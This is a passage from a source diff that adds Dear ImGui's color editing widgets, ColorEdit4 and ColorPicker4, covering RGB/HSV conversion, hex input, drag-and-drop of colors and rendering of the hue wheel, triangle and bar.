ImGuiColorEditFlags_ for available options. e.g. Only access 3 floats if ImGuiColorEditFlags_NoAlpha flag is set. +// With typical options: Left-click on color square to open color picker. Right-click to open option menu. CTRL-Click over input fields to edit them and TAB to go to next item. +bool ImGui::ColorEdit4(const char* label, float col[4], ImGuiColorEditFlags flags) +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return false; + + ImGuiContext& g = *GImGui; + const ImGuiStyle& style = g.Style; + const float square_sz = GetFrameHeight(); + const float w_full = CalcItemWidth(); + const float w_button = (flags & ImGuiColorEditFlags_NoSmallPreview) ? 0.0f : (square_sz + style.ItemInnerSpacing.x); + const float w_inputs = w_full - w_button; + const char* label_display_end = FindRenderedTextEnd(label); + g.NextItemData.ClearFlags(); + + BeginGroup(); + PushID(label); + + // If we're not showing any slider there's no point in doing any HSV conversions + const ImGuiColorEditFlags flags_untouched = flags; + if (flags & ImGuiColorEditFlags_NoInputs) + flags = (flags & (~ImGuiColorEditFlags__DisplayMask)) | ImGuiColorEditFlags_DisplayRGB | ImGuiColorEditFlags_NoOptions; + + // Context menu: display and modify options (before defaults are applied) + if (!(flags & ImGuiColorEditFlags_NoOptions)) + ColorEditOptionsPopup(col, flags); + + // Read stored options + if (!(flags & ImGuiColorEditFlags__DisplayMask)) + flags |= (g.ColorEditOptions & ImGuiColorEditFlags__DisplayMask); + if (!(flags & ImGuiColorEditFlags__DataTypeMask)) + flags |= (g.ColorEditOptions & ImGuiColorEditFlags__DataTypeMask); + if (!(flags & ImGuiColorEditFlags__PickerMask)) + flags |= (g.ColorEditOptions & ImGuiColorEditFlags__PickerMask); + if (!(flags & ImGuiColorEditFlags__InputMask)) + flags |= (g.ColorEditOptions & ImGuiColorEditFlags__InputMask); + flags |= (g.ColorEditOptions & ~(ImGuiColorEditFlags__DisplayMask | ImGuiColorEditFlags__DataTypeMask | ImGuiColorEditFlags__PickerMask | ImGuiColorEditFlags__InputMask)); + IM_ASSERT(ImIsPowerOfTwo(flags & ImGuiColorEditFlags__DisplayMask)); // Check that only 1 is selected + IM_ASSERT(ImIsPowerOfTwo(flags & ImGuiColorEditFlags__InputMask)); // Check that only 1 is selected + + const bool alpha = (flags & ImGuiColorEditFlags_NoAlpha) == 0; + const bool hdr = (flags & ImGuiColorEditFlags_HDR) != 0; + const int components = alpha ? 4 : 3; + + // Convert to the formats we need + float f[4] = { col[0], col[1], col[2], alpha ? col[3] : 1.0f }; + if ((flags & ImGuiColorEditFlags_InputHSV) && (flags & ImGuiColorEditFlags_DisplayRGB)) + ColorConvertHSVtoRGB(f[0], f[1], f[2], f[0], f[1], f[2]); + else if ((flags & ImGuiColorEditFlags_InputRGB) && (flags & ImGuiColorEditFlags_DisplayHSV)) + { + // Hue is lost when converting from greyscale rgb (saturation=0). Restore it. + ColorConvertRGBtoHSV(f[0], f[1], f[2], f[0], f[1], f[2]); + if (memcmp(g.ColorEditLastColor, col, sizeof(float) * 3) == 0) + { + if (f[1] == 0) + f[0] = g.ColorEditLastHue; + if (f[2] == 0) + f[1] = g.ColorEditLastSat; + } + } + int i[4] = { IM_F32_TO_INT8_UNBOUND(f[0]), IM_F32_TO_INT8_UNBOUND(f[1]), IM_F32_TO_INT8_UNBOUND(f[2]), IM_F32_TO_INT8_UNBOUND(f[3]) }; + + bool value_changed = false; + bool value_changed_as_float = false; + + const ImVec2 pos = window->DC.CursorPos; + const float inputs_offset_x = (style.ColorButtonPosition == ImGuiDir_Left) ? w_button : 0.0f; + window->DC.CursorPos.x = pos.x + inputs_offset_x; + + if ((flags & (ImGuiColorEditFlags_DisplayRGB | ImGuiColorEditFlags_DisplayHSV)) != 0 && (flags & ImGuiColorEditFlags_NoInputs) == 0) + { + // RGB/HSV 0..255 Sliders + const float w_item_one = ImMax(1.0f, IM_FLOOR((w_inputs - (style.ItemInnerSpacing.x) * (components - 1)) / (float)components)); + const float w_item_last = ImMax(1.0f, IM_FLOOR(w_inputs - (w_item_one + style.ItemInnerSpacing.x) * (components - 1))); + + const bool hide_prefix = (w_item_one <= CalcTextSize((flags & ImGuiColorEditFlags_Float) ? "M:0.000" : "M:000").x); + static const char* ids[4] = { "##X", "##Y", "##Z", "##W" }; + static const char* fmt_table_int[3][4] = + { + { "%3d", "%3d", "%3d", "%3d" }, // Short display + { "R:%3d", "G:%3d", "B:%3d", "A:%3d" }, // Long display for RGBA + { "H:%3d", "S:%3d", "V:%3d", "A:%3d" } // Long display for HSVA + }; + static const char* fmt_table_float[3][4] = + { + { "%0.3f", "%0.3f", "%0.3f", "%0.3f" }, // Short display + { "R:%0.3f", "G:%0.3f", "B:%0.3f", "A:%0.3f" }, // Long display for RGBA + { "H:%0.3f", "S:%0.3f", "V:%0.3f", "A:%0.3f" } // Long display for HSVA + }; + const int fmt_idx = hide_prefix ? 0 : (flags & ImGuiColorEditFlags_DisplayHSV) ? 2 : 1; + + for (int n = 0; n < components; n++) + { + if (n > 0) + SameLine(0, style.ItemInnerSpacing.x); + SetNextItemWidth((n + 1 < components) ? w_item_one : w_item_last); + + // FIXME: When ImGuiColorEditFlags_HDR flag is passed HS values snap in weird ways when SV values go below 0. + if (flags & ImGuiColorEditFlags_Float) + { + value_changed |= DragFloat(ids[n], &f[n], 1.0f / 255.0f, 0.0f, hdr ? 0.0f : 1.0f, fmt_table_float[fmt_idx][n]); + value_changed_as_float |= value_changed; + } + else + { + value_changed |= DragInt(ids[n], &i[n], 1.0f, 0, hdr ? 0 : 255, fmt_table_int[fmt_idx][n]); + } + if (!(flags & ImGuiColorEditFlags_NoOptions)) + OpenPopupOnItemClick("context"); + } + } + else if ((flags & ImGuiColorEditFlags_DisplayHex) != 0 && (flags & ImGuiColorEditFlags_NoInputs) == 0) + { + // RGB Hexadecimal Input + char buf[64]; + if (alpha) + ImFormatString(buf, IM_ARRAYSIZE(buf), "#%02X%02X%02X%02X", ImClamp(i[0], 0, 255), ImClamp(i[1], 0, 255), ImClamp(i[2], 0, 255), ImClamp(i[3], 0, 255)); + else + ImFormatString(buf, IM_ARRAYSIZE(buf), "#%02X%02X%02X", ImClamp(i[0], 0, 255), ImClamp(i[1], 0, 255), ImClamp(i[2], 0, 255)); + SetNextItemWidth(w_inputs); + if (InputText("##Text", buf, IM_ARRAYSIZE(buf), ImGuiInputTextFlags_CharsHexadecimal | ImGuiInputTextFlags_CharsUppercase)) + { + value_changed = true; + char* p = buf; + while (*p == '#' || ImCharIsBlankA(*p)) + p++; + i[0] = i[1] = i[2] = i[3] = 0; + if (alpha) + sscanf(p, "%02X%02X%02X%02X", (unsigned int*)&i[0], (unsigned int*)&i[1], (unsigned int*)&i[2], (unsigned int*)&i[3]); // Treat at unsigned (%X is unsigned) + else + sscanf(p, "%02X%02X%02X", (unsigned int*)&i[0], (unsigned int*)&i[1], (unsigned int*)&i[2]); + } + if (!(flags & ImGuiColorEditFlags_NoOptions)) + OpenPopupOnItemClick("context"); + } + + ImGuiWindow* picker_active_window = NULL; + if (!(flags & ImGuiColorEditFlags_NoSmallPreview)) + { + const float button_offset_x = ((flags & ImGuiColorEditFlags_NoInputs) || (style.ColorButtonPosition == ImGuiDir_Left)) ? 0.0f : w_inputs + style.ItemInnerSpacing.x; + window->DC.CursorPos = ImVec2(pos.x + button_offset_x, pos.y); + + const ImVec4 col_v4(col[0], col[1], col[2], alpha ? col[3] : 1.0f); + if (ColorButton("##ColorButton", col_v4, flags)) + { + if (!(flags & ImGuiColorEditFlags_NoPicker)) + { + // Store current color and open a picker + g.ColorPickerRef = col_v4; + OpenPopup("picker"); + SetNextWindowPos(window->DC.LastItemRect.GetBL() + ImVec2(-1, style.ItemSpacing.y)); + } + } + if (!(flags & ImGuiColorEditFlags_NoOptions)) + OpenPopupOnItemClick("context"); + + if (BeginPopup("picker")) + { + picker_active_window = g.CurrentWindow; + if (label != label_display_end) + { + TextEx(label, label_display_end); + Spacing(); + } + ImGuiColorEditFlags picker_flags_to_forward = ImGuiColorEditFlags__DataTypeMask | ImGuiColorEditFlags__PickerMask | ImGuiColorEditFlags__InputMask | ImGuiColorEditFlags_HDR | ImGuiColorEditFlags_NoAlpha | ImGuiColorEditFlags_AlphaBar; + ImGuiColorEditFlags picker_flags = (flags_untouched & picker_flags_to_forward) | ImGuiColorEditFlags__DisplayMask | ImGuiColorEditFlags_NoLabel | ImGuiColorEditFlags_AlphaPreviewHalf; + SetNextItemWidth(square_sz * 12.0f); // Use 256 + bar sizes? + value_changed |= ColorPicker4("##picker", col, picker_flags, &g.ColorPickerRef.x); + EndPopup(); + } + } + + if (label != label_display_end && !(flags & ImGuiColorEditFlags_NoLabel)) + { + const float text_offset_x = (flags & ImGuiColorEditFlags_NoInputs) ? w_button : w_full + style.ItemInnerSpacing.x; + window->DC.CursorPos = ImVec2(pos.x + text_offset_x, pos.y + style.FramePadding.y); + TextEx(label, label_display_end); + } + + // Convert back + if (value_changed && picker_active_window == NULL) + { + if (!value_changed_as_float) + for (int n = 0; n < 4; n++) + f[n] = i[n] / 255.0f; + if ((flags & ImGuiColorEditFlags_DisplayHSV) && (flags & ImGuiColorEditFlags_InputRGB)) + { + g.ColorEditLastHue = f[0]; + g.ColorEditLastSat = f[1]; + ColorConvertHSVtoRGB(f[0], f[1], f[2], f[0], f[1], f[2]); + memcpy(g.ColorEditLastColor, f, sizeof(float) * 3); + } + if ((flags & ImGuiColorEditFlags_DisplayRGB) && (flags & ImGuiColorEditFlags_InputHSV)) + ColorConvertRGBtoHSV(f[0], f[1], f[2], f[0], f[1], f[2]); + + col[0] = f[0]; + col[1] = f[1]; + col[2] = f[2]; + if (alpha) + col[3] = f[3]; + } + + PopID(); + EndGroup(); + + // Drag and Drop Target + // NB: The flag test is merely an optional micro-optimization, BeginDragDropTarget() does the same test. + if ((window->DC.LastItemStatusFlags & ImGuiItemStatusFlags_HoveredRect) && !(flags & ImGuiColorEditFlags_NoDragDrop) && BeginDragDropTarget()) + { + bool accepted_drag_drop = false; + if (const ImGuiPayload* payload = AcceptDragDropPayload(IMGUI_PAYLOAD_TYPE_COLOR_3F)) + { + memcpy((float*)col, payload->Data, sizeof(float) * 3); // Preserve alpha if any //-V512 + value_changed = accepted_drag_drop = true; + } + if (const ImGuiPayload* payload = AcceptDragDropPayload(IMGUI_PAYLOAD_TYPE_COLOR_4F)) + { + memcpy((float*)col, payload->Data, sizeof(float) * components); + value_changed = accepted_drag_drop = true; + } + + // Drag-drop payloads are always RGB + if (accepted_drag_drop && (flags & ImGuiColorEditFlags_InputHSV)) + ColorConvertRGBtoHSV(col[0], col[1], col[2], col[0], col[1], col[2]); + EndDragDropTarget(); + } + + // When picker is being actively used, use its active id so IsItemActive() will function on ColorEdit4(). + if (picker_active_window && g.ActiveId != 0 && g.ActiveIdWindow == picker_active_window) + window->DC.LastItemId = g.ActiveId; + + if (value_changed) + MarkItemEdited(window->DC.LastItemId); + + return value_changed; +} + +bool ImGui::ColorPicker3(const char* label, float col[3], ImGuiColorEditFlags flags) +{ + float col4[4] = { col[0], col[1], col[2], 1.0f }; + if (!ColorPicker4(label, col4, flags | ImGuiColorEditFlags_NoAlpha)) + return false; + col[0] = col4[0]; col[1] = col4[1]; col[2] = col4[2]; + return true; +} + +// Helper for ColorPicker4() +static void RenderArrowsForVerticalBar(ImDrawList* draw_list, ImVec2 pos, ImVec2 half_sz, float bar_w, float alpha) +{ + ImU32 alpha8 = IM_F32_TO_INT8_SAT(alpha); + ImGui::RenderArrowPointingAt(draw_list, ImVec2(pos.x + half_sz.x + 1, pos.y), ImVec2(half_sz.x + 2, half_sz.y + 1), ImGuiDir_Right, IM_COL32(0,0,0,alpha8)); + ImGui::RenderArrowPointingAt(draw_list, ImVec2(pos.x + half_sz.x, pos.y), half_sz, ImGuiDir_Right, IM_COL32(255,255,255,alpha8)); + ImGui::RenderArrowPointingAt(draw_list, ImVec2(pos.x + bar_w - half_sz.x - 1, pos.y), ImVec2(half_sz.x + 2, half_sz.y + 1), ImGuiDir_Left, IM_COL32(0,0,0,alpha8)); + ImGui::RenderArrowPointingAt(draw_list, ImVec2(pos.x + bar_w - half_sz.x, pos.y), half_sz, ImGuiDir_Left, IM_COL32(255,255,255,alpha8)); +} + +// Note: ColorPicker4() only accesses 3 floats if ImGuiColorEditFlags_NoAlpha flag is set. +// (In C++ the 'float col[4]' notation for a function argument is equivalent to 'float* col', we only specify a size to facilitate understanding of the code.) +// FIXME: we adjust the big color square height based on item width, which may cause a flickering feedback loop (if automatic height makes a vertical scrollbar appears, affecting automatic width..) +// FIXME: this is trying to be aware of style.Alpha but not fully correct. Also, the color wheel will have overlapping glitches with (style.Alpha < 1.0) +bool ImGui::ColorPicker4(const char* label, float col[4], ImGuiColorEditFlags flags, const float* ref_col) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return false; + + ImDrawList* draw_list = window->DrawList; + ImGuiStyle& style = g.Style; + ImGuiIO& io = g.IO; + + const float width = CalcItemWidth(); + g.NextItemData.ClearFlags(); + + PushID(label); + BeginGroup(); + + if (!(flags & ImGuiColorEditFlags_NoSidePreview)) + flags |= ImGuiColorEditFlags_NoSmallPreview; + + // Context menu: display and store options. + if (!(flags & ImGuiColorEditFlags_NoOptions)) + ColorPickerOptionsPopup(col, flags); + + // Read stored options + if (!(flags & ImGuiColorEditFlags__PickerMask)) + flags |= ((g.ColorEditOptions & ImGuiColorEditFlags__PickerMask) ? g.ColorEditOptions : ImGuiColorEditFlags__OptionsDefault) & ImGuiColorEditFlags__PickerMask; + if (!(flags & ImGuiColorEditFlags__InputMask)) + flags |= ((g.ColorEditOptions & ImGuiColorEditFlags__InputMask) ? g.ColorEditOptions : ImGuiColorEditFlags__OptionsDefault) & ImGuiColorEditFlags__InputMask; + IM_ASSERT(ImIsPowerOfTwo(flags & ImGuiColorEditFlags__PickerMask)); // Check that only 1 is selected + IM_ASSERT(ImIsPowerOfTwo(flags & ImGuiColorEditFlags__InputMask)); // Check that only 1 is selected + if (!(flags & ImGuiColorEditFlags_NoOptions)) + flags |= (g.ColorEditOptions & ImGuiColorEditFlags_AlphaBar); + + // Setup + int components = (flags & ImGuiColorEditFlags_NoAlpha) ? 3 : 4; + bool alpha_bar = (flags & ImGuiColorEditFlags_AlphaBar) && !(flags & ImGuiColorEditFlags_NoAlpha); + ImVec2 picker_pos = window->DC.CursorPos; + float square_sz = GetFrameHeight(); + float bars_width = square_sz; // Arbitrary smallish width of Hue/Alpha picking bars + float sv_picker_size = ImMax(bars_width * 1, width - (alpha_bar ? 2 : 1) * (bars_width + style.ItemInnerSpacing.x)); // Saturation/Value picking box + float bar0_pos_x = picker_pos.x + sv_picker_size + style.ItemInnerSpacing.x; + float bar1_pos_x = bar0_pos_x + bars_width + style.ItemInnerSpacing.x; + float bars_triangles_half_sz = IM_FLOOR(bars_width * 0.20f); + + float backup_initial_col[4]; + memcpy(backup_initial_col, col, components * sizeof(float)); + + float wheel_thickness = sv_picker_size * 0.08f; + float wheel_r_outer = sv_picker_size * 0.50f; + float wheel_r_inner = wheel_r_outer - wheel_thickness; + ImVec2 wheel_center(picker_pos.x + (sv_picker_size + bars_width)*0.5f, picker_pos.y + sv_picker_size * 0.5f); + + // Note: the triangle is displayed rotated with triangle_pa pointing to Hue, but most coordinates stays unrotated for logic. + float triangle_r = wheel_r_inner - (int)(sv_picker_size * 0.027f); + ImVec2 triangle_pa = ImVec2(triangle_r, 0.0f); // Hue point. + ImVec2 triangle_pb = ImVec2(triangle_r * -0.5f, triangle_r * -0.866025f); // Black point. + ImVec2 triangle_pc = ImVec2(triangle_r * -0.5f, triangle_r * +0.866025f); // White point. + + float H = col[0], S = col[1], V = col[2]; + float R = col[0], G = col[1], B = col[2]; + if (flags & ImGuiColorEditFlags_InputRGB) + { + // Hue is lost when converting from greyscale rgb (saturation=0). Restore it. + ColorConvertRGBtoHSV(R, G, B, H, S, V); + if (memcmp(g.ColorEditLastColor, col, sizeof(float) * 3) == 0) + { + if (S == 0) + H = g.ColorEditLastHue; + if (V == 0) + S = g.ColorEditLastSat; + } + } + else if (flags & ImGuiColorEditFlags_InputHSV) + { + ColorConvertHSVtoRGB(H, S, V, R, G, B); + } + + bool value_changed = false, value_changed_h = false, value_changed_sv = false; + + PushItemFlag(ImGuiItemFlags_NoNav, true); + if (flags & ImGuiColorEditFlags_PickerHueWheel) + { + // Hue wheel + SV triangle logic + InvisibleButton("hsv", ImVec2(sv_picker_size + style.ItemInnerSpacing.x + bars_width, sv_picker_size)); + if (IsItemActive()) + { + ImVec2 initial_off = g.IO.MouseClickedPos[0] - wheel_center; + ImVec2 current_off = g.IO.MousePos - wheel_center; + float initial_dist2 = ImLengthSqr(initial_off); + if (initial_dist2 >= (wheel_r_inner - 1) * (wheel_r_inner - 1) && initial_dist2 <= (wheel_r_outer + 1) * (wheel_r_outer + 1)) + { + // Interactive with Hue wheel + H = ImAtan2(current_off.y, current_off.x) / IM_PI * 0.5f; + if (H < 0.0f) + H += 1.0f; + value_changed = value_changed_h = true; + } + float cos_hue_angle = ImCos(-H * 2.0f * IM_PI); + float sin_hue_angle = ImSin(-H * 2.0f * IM_PI); + if (ImTriangleContainsPoint(triangle_pa, triangle_pb, triangle_pc, ImRotate(initial_off, cos_hue_angle, sin_hue_angle))) + { + // Interacting with SV triangle + ImVec2 current_off_unrotated = ImRotate(current_off, cos_hue_angle, sin_hue_angle); + if (!ImTriangleContainsPoint(triangle_pa, triangle_pb, triangle_pc, current_off_unrotated)) + current_off_unrotated = ImTriangleClosestPoint(triangle_pa, triangle_pb, triangle_pc, current_off_unrotated); + float uu, vv, ww; + ImTriangleBarycentricCoords(triangle_pa, triangle_pb, triangle_pc, current_off_unrotated, uu, vv, ww); + V = ImClamp(1.0f - vv, 0.0001f, 1.0f); + S = ImClamp(uu / V, 0.0001f, 1.0f); + value_changed = value_changed_sv = true; + } + } + if (!(flags & ImGuiColorEditFlags_NoOptions)) + OpenPopupOnItemClick("context"); + } + else if (flags & ImGuiColorEditFlags_PickerHueBar) + { + // SV rectangle logic + InvisibleButton("sv", ImVec2(sv_picker_size, sv_picker_size)); + if (IsItemActive()) + { + S = ImSaturate((io.MousePos.x - picker_pos.x) / (sv_picker_size - 1)); + V = 1.0f - ImSaturate((io.MousePos.y - picker_pos.y) / (sv_picker_size - 1)); + value_changed = value_changed_sv = true; + } + if (!(flags & ImGuiColorEditFlags_NoOptions)) + OpenPopupOnItemClick("context"); + + // Hue bar logic + SetCursorScreenPos(ImVec2(bar0_pos_x, picker_pos.y)); + InvisibleButton("hue", ImVec2(bars_width, sv_picker_size)); + if (IsItemActive()) + { + H = ImSaturate((io.MousePos.y - picker_pos.y) / (sv_picker_size - 1)); + value_changed = value_changed_h = true; + } + } + + // Alpha bar logic + if (alpha_bar) + { + SetCursorScreenPos(ImVec2(bar1_pos_x, picker_pos.y)); + InvisibleButton("alpha", ImVec2(bars_width, sv_picker_size)); + if (IsItemActive()) + { + col[3] = 1.0f - ImSaturate((io.MousePos.y - picker_pos.y) / (sv_picker_size - 1)); + value_changed = true; + } + } + PopItemFlag(); // ImGuiItemFlags_NoNav + + if (!(flags & ImGuiColorEditFlags_NoSidePreview)) + { + SameLine(0, style.ItemInnerSpacing.x); + BeginGroup(); + } + + if (!(flags & ImGuiColorEditFlags_NoLabel)) + { + const char* label_display_end = FindRenderedTextEnd(label); + if (label != label_display_end) + { + if ((flags & ImGuiColorEditFlags_NoSidePreview)) + SameLine(0, style.ItemInnerSpacing.x); + TextEx(label, label_display_end); + } + } + + if (!(flags & ImGuiColorEditFlags_NoSidePreview)) + { + PushItemFlag(ImGuiItemFlags_NoNavDefaultFocus, true); + ImVec4 col_v4(col[0], col[1], col[2], (flags & ImGuiColorEditFlags_NoAlpha) ? 1.0f : col[3]); + if ((flags & ImGuiColorEditFlags_NoLabel)) + Text("Current"); + + ImGuiColorEditFlags sub_flags_to_forward = ImGuiColorEditFlags__InputMask | ImGuiColorEditFlags_HDR | ImGuiColorEditFlags_AlphaPreview | ImGuiColorEditFlags_AlphaPreviewHalf | ImGuiColorEditFlags_NoTooltip; + ColorButton("##current", col_v4, (flags & sub_flags_to_forward), ImVec2(square_sz * 3, square_sz * 2)); + if (ref_col != NULL) + { + Text("Original"); + ImVec4 ref_col_v4(ref_col[0], ref_col[1], ref_col[2], (flags & ImGuiColorEditFlags_NoAlpha) ? 1.0f : ref_col[3]); + if (ColorButton("##original", ref_col_v4, (flags & sub_flags_to_forward), ImVec2(square_sz * 3, square_sz * 2))) + { + memcpy(col, ref_col, components * sizeof(float)); + value_changed = true; + } + } + PopItemFlag(); + EndGroup(); + } + + // Convert back color to RGB + if (value_changed_h || value_changed_sv) + { + if (flags & ImGuiColorEditFlags_InputRGB) + { + ColorConvertHSVtoRGB(H >= 1.0f ? H - 10 * 1e-6f : H, S > 0.0f ? S : 10 * 1e-6f, V > 0.0f ? V : 1e-6f, col[0], col[1], col[2]); + g.ColorEditLastHue = H; + g.ColorEditLastSat = S; + memcpy(g.ColorEditLastColor, col, sizeof(float) * 3); + } + else if (flags & ImGuiColorEditFlags_InputHSV) + { + col[0] = H; + col[1] = S; + col[2] = V; + } + } + + // R,G,B and H,S,V slider color editor + bool value_changed_fix_hue_wrap = false; + if ((flags & ImGuiColorEditFlags_NoInputs) == 0) + { + PushItemWidth((alpha_bar ? bar1_pos_x : bar0_pos_x) + bars_width - picker_pos.x); + ImGuiColorEditFlags sub_flags_to_forward = ImGuiColorEditFlags__DataTypeMask | ImGuiColorEditFlags__InputMask | ImGuiColorEditFlags_HDR | ImGuiColorEditFlags_NoAlpha | ImGuiColorEditFlags_NoOptions | ImGuiColorEditFlags_NoSmallPreview | ImGuiColorEditFlags_AlphaPreview | ImGuiColorEditFlags_AlphaPreviewHalf; + ImGuiColorEditFlags sub_flags = (flags & sub_flags_to_forward) | ImGuiColorEditFlags_NoPicker; + if (flags & ImGuiColorEditFlags_DisplayRGB || (flags & ImGuiColorEditFlags__DisplayMask) == 0) + if (ColorEdit4("##rgb", col, sub_flags | ImGuiColorEditFlags_DisplayRGB)) + { + // FIXME: Hackily differentiating using the DragInt (ActiveId != 0 && !ActiveIdAllowOverlap) vs. using the InputText or DropTarget. + // For the later we don't want to run the hue-wrap canceling code. If you are well versed in HSV picker please provide your input! (See #2050) + value_changed_fix_hue_wrap = (g.ActiveId != 0 && !g.ActiveIdAllowOverlap); + value_changed = true; + } + if (flags & ImGuiColorEditFlags_DisplayHSV || (flags & ImGuiColorEditFlags__DisplayMask) == 0) + value_changed |= ColorEdit4("##hsv", col, sub_flags | ImGuiColorEditFlags_DisplayHSV); + if (flags & ImGuiColorEditFlags_DisplayHex || (flags & ImGuiColorEditFlags__DisplayMask) == 0) + value_changed |= ColorEdit4("##hex", col, sub_flags | ImGuiColorEditFlags_DisplayHex); + PopItemWidth(); + } + + // Try to cancel hue wrap (after ColorEdit4 call), if any + if (value_changed_fix_hue_wrap && (flags & ImGuiColorEditFlags_InputRGB)) + { + float new_H, new_S, new_V; + ColorConvertRGBtoHSV(col[0], col[1], col[2], new_H, new_S, new_V); + if (new_H <= 0 && H > 0) + { + if (new_V <= 0 && V != new_V) + ColorConvertHSVtoRGB(H, S, new_V <= 0 ? V * 0.5f : new_V, col[0], col[1], col[2]); + else if (new_S <= 0) + ColorConvertHSVtoRGB(H, new_S <= 0 ? S * 0.5f : new_S, new_V, col[0], col[1], col[2]); + } + } + + if (value_changed) + { + if (flags & ImGuiColorEditFlags_InputRGB) + { + R = col[0]; + G = col[1]; + B = col[2]; + ColorConvertRGBtoHSV(R, G, B, H, S, V); + if (memcmp(g.ColorEditLastColor, col, sizeof(float) * 3) == 0) // Fix local Hue as display below will use it immediately. + { + if (S == 0) + H = g.ColorEditLastHue; + if (V == 0) + S = g.ColorEditLastSat; + } + } + else if (flags & ImGuiColorEditFlags_InputHSV) + { + H = col[0]; + S = col[1]; + V = col[2]; + ColorConvertHSVtoRGB(H, S, V, R, G, B); + } + } + + const int style_alpha8 = IM_F32_TO_INT8_SAT(style.Alpha); + const ImU32 col_black = IM_COL32(0,0,0,style_alpha8); + const ImU32 col_white = IM_COL32(255,255,255,style_alpha8); + const ImU32 col_midgrey = IM_COL32(128,128,128,style_alpha8); + const ImU32 col_hues[6 + 1] = { IM_COL32(255,0,0,style_alpha8), IM_COL32(255,255,0,style_alpha8), IM_COL32(0,255,0,style_alpha8), IM_COL32(0,255,255,style_alpha8), IM_COL32(0,0,255,style_alpha8), IM_COL32(255,0,255,style_alpha8), IM_COL32(255,0,0,style_alpha8) }; + + ImVec4 hue_color_f(1, 1, 1, style.Alpha); ColorConvertHSVtoRGB(H, 1, 1, hue_color_f.x, hue_color_f.y, hue_color_f.z); + ImU32 hue_color32 = ColorConvertFloat4ToU32(hue_color_f); + ImU32 user_col32_striped_of_alpha = ColorConvertFloat4ToU32(ImVec4(R, G, B, style.Alpha)); // Important: this is still including the main rendering/style alpha!! + + ImVec2 sv_cursor_pos; + + if (flags & ImGuiColorEditFlags_PickerHueWheel) + { + // Render Hue Wheel + const float aeps = 0.5f / wheel_r_outer; // Half a pixel arc length in radians (2pi cancels out). + const int segment_per_arc = ImMax(4, (int)wheel_r_outer / 12); + for (int n = 0; n < 6; n++) + { + const float a0 = (n) /6.0f * 2.0f * IM_PI - aeps; + const float a1 = (n+1.0f)/6.0f * 2.0f * IM_PI + aeps; + const int vert_start_idx = draw_list->VtxBuffer.Size; + draw_list->PathArcTo(wheel_center, (wheel_r_inner + wheel_r_outer)*0.5f, a0, a1, segment_per_arc); + draw_list->PathStroke(col_white, false, wheel_thickness); + const int vert_end_idx = draw_list->VtxBuffer.Size; + + // Paint colors over existing vertices + ImVec2 gradient_p0(wheel_center.x + ImCos(a0) * wheel_r_inner, wheel_center.y + ImSin(a0) * wheel_r_inner); + ImVec2 gradient_p1(wheel_center.x + ImCos(a1) * wheel_r_inner, wheel_center.y + ImSin(a1) * wheel_r_inner); + ShadeVertsLinearColorGradientKeepAlpha(draw_list, vert_start_idx, vert_end_idx, gradient_p0, gradient_p1, col_hues[n], col_hues[n + 1]); + } + + // Render Cursor + preview on Hue Wheel + float cos_hue_angle = ImCos(H * 2.0f * IM_PI); + float sin_hue_angle = ImSin(H * 2.0f * IM_PI); + ImVec2 hue_cursor_pos(wheel_center.x + cos_hue_angle * (wheel_r_inner + wheel_r_outer) * 0.5f, wheel_center.y + sin_hue_angle * (wheel_r_inner + wheel_r_outer) * 0.5f); + float hue_cursor_rad = value_changed_h ? wheel_thickness * 0.65f : wheel_thickness * 0.55f; + int hue_cursor_segments = ImClamp((int)(hue_cursor_rad / 1.4f), 9, 32); + draw_list->AddCircleFilled(hue_cursor_pos, hue_cursor_rad, hue_color32, hue_cursor_segments); + draw_list->AddCircle(hue_cursor_pos, hue_cursor_rad + 1, col_midgrey, hue_cursor_segments); + draw_list->AddCircle(hue_cursor_pos, hue_cursor_rad, col_white, hue_cursor_segments); + + // Render SV triangle (rotated according to hue) + ImVec2 tra = wheel_center + ImRotate(triangle_pa, cos_hue_angle, sin_hue_angle); + ImVec2 trb = wheel_center + ImRotate(triangle_pb, cos_hue_angle, sin_hue_angle); + ImVec2 trc = wheel_center + ImRotate(triangle_pc, cos_hue_angle, sin_hue_angle); + ImVec2 uv_white = GetFontTexUvWhitePixel(); + draw_list->PrimReserve(6, 6); + draw_list->PrimVtx(tra, uv_white, hue_color32); + draw_list->PrimVtx(trb, uv_white, hue_color32); + draw_list->PrimVtx(trc, uv_white, col_white); + draw_list->PrimVtx(tra, uv_white, 0); + draw_list->PrimVtx(trb, uv_white, col_black); + draw_list->PrimVtx(trc, uv_white, 0); + draw_list->AddTriangle(tra, trb, trc, col_midgrey, 1.5f); + sv_cursor_pos = ImLerp(ImLerp(trc, tra, ImSaturate(S)), trb, ImSaturate(1 - V)); + } + else if (flags & ImGuiColorEditFlags_PickerHueBar) + { + // Render SV Square + draw_list->AddRectFilledMultiColor(picker_pos, picker_pos + ImVec2(sv_picker_size, sv_picker_size), col_white, hue_color32, hue_color32, col_white); + draw_list->AddRectFilledMultiColor(picker_pos, picker_pos + ImVec2(sv_picker_size, sv_picker_size), 0, 0, col_black, col_black); + RenderFrameBorder(picker_pos, picker_pos + ImVec2(sv_picker_size, sv_picker_size), 0.0f); + sv_cursor_pos.x = ImClamp(IM_ROUND(picker_pos.x + ImSaturate(S) * sv_picker_size), picker_pos.x + 2, picker_pos.x + sv_picker_size - 2); // Sneakily prevent the circle to stick out too much + sv_cursor_pos.y = ImClamp(IM_ROUND(picker_pos.y + ImSaturate(1 - V) * sv_picker_size), picker_pos.y + 2, picker_pos.y + sv_picker_size - 2); + + // Render Hue Bar + for (int i = 0; i < 6; ++i) + draw_list->AddRectFilledMultiColor(ImVec2(bar0_pos_x, picker_pos.y + i * (sv_picker_size / 6)), ImVec2(bar0_pos_x + bars_width, picker_pos.y + (i + 1) * (sv_picker_size / 6)), col_hues[i], col_hues[i], col_hues[i + 1], col_hues[i + 1]); + float bar0_line_y = IM_ROUND(picker_pos.y + H * sv_picker_size); + RenderFrameBorder(ImVec2(bar0_pos_x, picker_pos.y), ImVec2(bar0_pos_x + bars_width, picker_pos.y + sv_picker_size), 0.0f); + RenderArrowsForVerticalBar(draw_list, ImVec2(bar0_pos_x - 1, bar0_line_y), ImVec2(bars_triangles_half_sz + 1, bars_triangles_half_sz), bars_width + 2.0f, style.Alpha); + } + + // Render cursor/preview circle (clamp S/V within 0..1 range because floating points colors may lead HSV values to be out of range) + float sv_cursor_rad = value_changed_sv ? 10.0f : 6.0f; + draw_list->AddCircleFilled(sv_cursor_pos, sv_cursor_rad, user_col32_striped_of_alpha, 12); + draw_list->AddCircle(sv_cursor_pos, 